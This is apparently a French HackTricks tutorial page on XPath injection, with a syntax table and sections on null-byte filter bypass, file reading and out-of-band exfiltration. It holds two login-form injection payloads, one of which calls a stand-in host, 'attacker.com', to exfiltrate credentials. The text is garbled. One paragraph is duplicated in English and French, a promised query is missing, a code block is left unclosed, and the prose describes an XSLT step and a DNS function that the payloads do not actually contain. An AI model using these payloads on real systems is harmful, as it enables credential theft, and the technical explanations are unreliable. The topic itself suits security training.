* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
L'injection XPath est une technique d'attaque utilisée pour exploiter les applications qui construisent des requêtes XPath (XML Path Language) à partir d'entrées fournies par l'utilisateur pour interroger ou naviguer dans des documents XML.
| bookstore | Sélectionne tous les noeuds portant le nom "bookstore" |
| /bookstore | Sélectionne l'élément racine bookstore**Note:** Si le chemin commence par un slash ( / ), il représente toujours un chemin absolu vers un élément ! |
| bookstore/book | Sélectionne tous les éléments book qui sont des enfants de bookstore |
| //book | Sélectionne tous les éléments book, peu importe où ils se trouvent dans le document |
| bookstore//book | Sélectionne tous les éléments book qui sont des descendants de l'élément bookstore, peu importe où ils se trouvent sous l'élément bookstore |
| //@lang | Sélectionne tous les attributs qui portent le nom lang |
| /bookstore/book\[1] | <p>Sélectionne le premier élément book qui est un enfant de l'élément bookstore.<strong>Note :</strong> Dans IE 5,6,7,8,9, le premier noeud est [0], mais selon W3C, il est [1]. Pour résoudre ce problème dans IE, définissez SelectionLanguage sur XPath :</p><p>En JavaScript : xml.setProperty("SelectionLanguage","XPath");</p> |
| /bookstore/book\[last()] | Sélectionne le dernier élément book qui est un enfant de l'élément bookstore |
| /bookstore/book\[last()-1] | Sélectionne l'avant-dernier élément book qui est un enfant de l'élément bookstore |
| //title\[@lang] | Sélectionne tous les éléments title qui ont un attribut nommé lang |
| //title\[@lang='en'] | Sélectionne tous les éléments title qui ont un attribut "lang" avec une valeur de "en" |
| /bookstore/book\[price>35.00] | Sélectionne tous les éléments book de l'élément bookstore qui ont un élément price avec une valeur supérieure à 35.00 |
| /bookstore/book\[price>35.00]/title | Sélectionne tous les éléments title des éléments book de l'élément bookstore qui ont un élément price avec une valeur supérieure à 35.00 |
Null injection is a technique used to bypass filters that sanitize user input by replacing the input with a null byte (`\0`). This can be used to terminate strings early or to bypass certain filters that check for specific characters.
#### **Description**
L'injection null est une technique utilisée pour contourner les filtres qui nettoient les entrées utilisateur en remplaçant l'entrée par un octet nul (`\0`). Cela peut être utilisé pour terminer les chaînes de caractères prématurément ou pour contourner certains filtres qui vérifient des caractères spécifiques.
Le XPath Injection peut être utilisé pour lire des fichiers sur le serveur. Pour ce faire, vous pouvez utiliser la fonction `document()` de XPath pour accéder à des fichiers locaux. Par exemple, pour lire le fichier `/etc/passwd`, vous pouvez utiliser la requête XPath suivante :
Cela fonctionne car la fonction `document()` est utilisée pour accéder au fichier `/etc/passwd` et la fonction `substring()` est utilisée pour extraire la première lettre du fichier. Si la requête renvoie une erreur, vous pouvez essayer de lire d'autres fichiers en modifiant le chemin d'accès dans la requête XPath.
L'exploitation OOB (Out-of-Band) est une technique qui permet à l'attaquant de communiquer avec un serveur distant en utilisant des canaux autres que le canal HTTP. Cette technique est souvent utilisée pour extraire des données sensibles d'un serveur vulnérable.
L'exploitation OOB peut être réalisée avec une injection XPath en utilisant une transformation XSLT. Cette technique consiste à envoyer une requête malveillante qui contient une transformation XSLT qui sera exécutée par le serveur. La transformation XSLT peut être utilisée pour extraire des données sensibles du serveur et les envoyer à l'attaquant via un canal OOB.
Voici un exemple de requête malveillante qui utilise une injection XPath pour extraire le nom d'utilisateur et le mot de passe de la base de données :
```
POST /workspace/index.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
username=admin' or 1=1]/parent::*/parent::*/*/*/text()|//password[position()=1]/text()|'&password=test&submit=Login
Dans cet exemple, la requête malveillante utilise une injection XPath pour extraire le nom d'utilisateur et le mot de passe de la base de données. La transformation XSLT est exécutée par le serveur et les données sensibles sont envoyées à l'attaquant via un canal OOB.
### Exploitation OOB avec DNS
Une autre technique courante d'exploitation OOB consiste à utiliser le protocole DNS pour communiquer avec un serveur distant. Cette technique est souvent utilisée pour extraire des données sensibles d'un serveur vulnérable.
L'exploitation OOB avec DNS peut être réalisée avec une injection XPath en utilisant une requête malveillante qui contient une fonction DNS. Cette fonction est utilisée pour envoyer des données sensibles à un serveur contrôlé par l'attaquant via le protocole DNS.
Voici un exemple de requête malveillante qui utilise une injection XPath pour extraire le nom d'utilisateur et le mot de passe de la base de données en utilisant le protocole DNS :
```
POST /workspace/index.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
username=admin' or 1=1]/parent::*/parent::*/*/*/text()|dns-lookup('attacker.com')|'&password=test&submit=Login
```
Dans cet exemple, la requête malveillante utilise une injection XPath pour extraire le nom d'utilisateur et le mot de passe de la base de données en utilisant le protocole DNS. Les données sensibles sont envoyées à un serveur contrôlé par l'attaquant via le protocole DNS.
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).